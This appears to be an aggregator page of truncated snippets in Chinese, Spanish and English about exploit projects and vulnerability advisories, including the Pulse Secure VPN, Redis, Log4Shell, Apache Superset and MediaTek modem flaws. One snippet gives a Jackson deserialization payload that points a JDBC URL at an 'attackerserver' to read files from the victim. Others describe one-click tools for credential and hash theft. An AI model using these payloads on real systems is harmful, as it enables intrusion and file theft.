pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Pulse Secure 中间人研究 发布日期 与厂商联合发布日期：2020年10月26日 作者 David Kierznowski, @withdk 致谢 Sahil Mahajan，来自 Pulse Secure PSIRT 团队，在整个披露过程中给予支持。 Alyssa Herrera、Justin Wagner、Mimir 和 Rich Warren，感谢他们的文章《红队人员 Pulse Secure SSL VPN 指南》——Alyssa Herrera（2019年9月4日）。 SA 红队（SA Red...

redis-post-exploitation

redis-post-exploitation Solo con fines educativos Referencia https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf https://paper.seebug.org/975/ Servidor Rogue https://github.com/knqyf263/redis-rogue-server Compilar root@kitploit: $ docker-compose build Ejecutar...

CVE-2019-6203-PoC

CVE-2019-6203-PoC Hay un fallo de PEAP en todos los dispositivos Apple que permitiría a un atacante forzar a cualquier dispositivo Apple iOS, macOS o tvOS a asociarse con un punto de acceso malicioso. Este es un PoC para CVE-2019-6203, funciona en iOS 12.2, macOS 10.14.4, probado en Kali Linux...

CVE-2024-34693

CVE-2024-34693: Lectura Arbitraria de Archivos del Servidor en Apache Superset Vulnerabilidad de validación de entrada incorrecta en Apache Superset, que permite a un atacante autenticado crear una conexión MariaDB con localinfile habilitado. Al habilitar localinfile en el cliente MySQL/MariaDB d...

CVE-2025-70828

CVE-2025-70828 Resumen Se descubrió una vulnerabilidad de lectura arbitraria de archivos en Datart v1.0.0-rc.3. La aplicación no valida correctamente la URL de conexión JDBC durante la configuración de la fuente de datos. Detalles de la vulnerabilidad Tipo de vulnerabilidad: Validación de entrada...

wp2shell-scan

wp2shell-scan Detectar y limpiar el compromisowp2shell CVE‑2026‑63030 en uno o varios sitios WordPress. wp2shell es la vulnerabilidad de ejecución remota de código sin autenticación previa corregida en WordPress 7.0.2 / 6.9.5 / 6.8.6 2026‑07‑17. Apareció un PoC público en un día y la explotación...

EUVD-2025-210914

An issue in Prolink 13A Smart Plug Model Version: DS-3202M-UKv3 Wi-Fi and Application Version mEzee 2.6.7 allows attackers to cause a Denial of Service DoS or connection to an attacker-controlled device via supplying a crafted packet during the provisioning phase...

CVE-2025-66974

CVE-2025-66974 affects the Prolink 13A Smart Plug (model DS-3202M-UKv3 ) running the mEzee application version 2.6.7 . During the provisioning phase , an attacker can supply a crafted packet to cause a Denial of Service or redirect the device to connect to an attacker-controlled endpoint . The vu...

NachoVPN

NachoVPN 🌮🔒 NachoVPN es una Prueba de Concepto que demuestra la explotación de clientes SSL-VPN, utilizando un servidor VPN malicioso. Utiliza una arquitectura basada en plugins para que la comunidad pueda contribuir con soporte para productos SSL-VPN adicionales. Actualmente admite varios...

Rogue-Framework

Rogue Framework "Make it rain. " Rogue Amendiares The best intel-broker in night city Rogue Framework is a desktop workbench for AFL++, cross-architecture QEMU fuzzing, harness development, lightweight Ghidra headless analysis, custom mutators, and patch comparison. It is intentionally an auditab...

CurveBall

CurveBall CVE-2020-0601 - PoC CVE-2020-0601: También conocido como CurveBall o ChainOffFools, es una vulnerabilidad en la Microsoft CryptoApi específicamente en Crypt32.dll donde las firmas de curva elíptica ECDSA de los certificados no se verifican correctamente. Hay una muy buena publicación de...

CVE-2019-12086

文档说明 CVE-2019-12086 jackson unserialize 漏洞利用 1、启动恶意MySQL服务器： python roguemysqlserver.py 2、在同一个目录下查看mysql.log： tail -f mysql.log 3、向存在漏洞的应用发送如下json： "com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attackerserver:port/foo" 当jackson反序列化恶意json串后，会连接恶意MySQL服务器，被读取的文件内容会写入恶意服务器的mysql.log...

CVE-2021-44228-poc

Aplicación vulnerable de muestra Log4Shell CVE-2021-44228 Esta es una aplicación vulnerable casi copia/similar a https://github.com/christophetd/log4shell-vulnerable-app Las principales diferencias son el uso de maven en lugar de gradle, y el uso de rogue-jndi. Este repositorio contiene una...

Certighost_CVE-2026-54121

certighost-oneclick CVE-2026-54121（Certighost）一键化利用工具 —— 仅用于本地靶场/授权测试。 基于上游 PoC（@h0j3n 分析 / @aniqfakhrul 实现）改造的 Windows 原生版 ： 内置自研 WinDivert 重定向器（pydivert），一条命令完成"建号 → 重定向 → rogue 监听 → CA chase → 域控身份证书 → PKINIT → 域控机器账户 NT 哈希"，全程不停止 Server 服务、 不改动主机任何配置，退出即恢复。 与上游的差异（补丁清单）...

CVE-2026-20503

In Modem, there is a possible system crash due to a missing bounds check. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch I...

CVE-2026-20504

In Modem, there is a possible system crash due to a missing bounds check. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch I...

CVE-2026-20504

CVE-2026-20504 affects the MediaTek Modem component, where a missing bounds check can cause a system crash, leading to a remote denial of service . Exploitation requires a User Equipment (UE) to connect to a rogue base station controlled by the attacker, with no additional privileges or user inte...

EUVD-2026-72197

In Modem, there is a possible system crash due to a missing bounds check. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch I...

EUVD-2026-72196

In Modem, there is a possible system crash due to a missing bounds check. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch I...

CVE-2026-20503

CVE-2026-20503 affects the Modem component in MediaTek devices. A missing bounds check can cause a system crash, leading to remote denial of service when a user equipment (UE) connects to a rogue base station controlled by the attacker. No additional execution privileges or user interaction are r...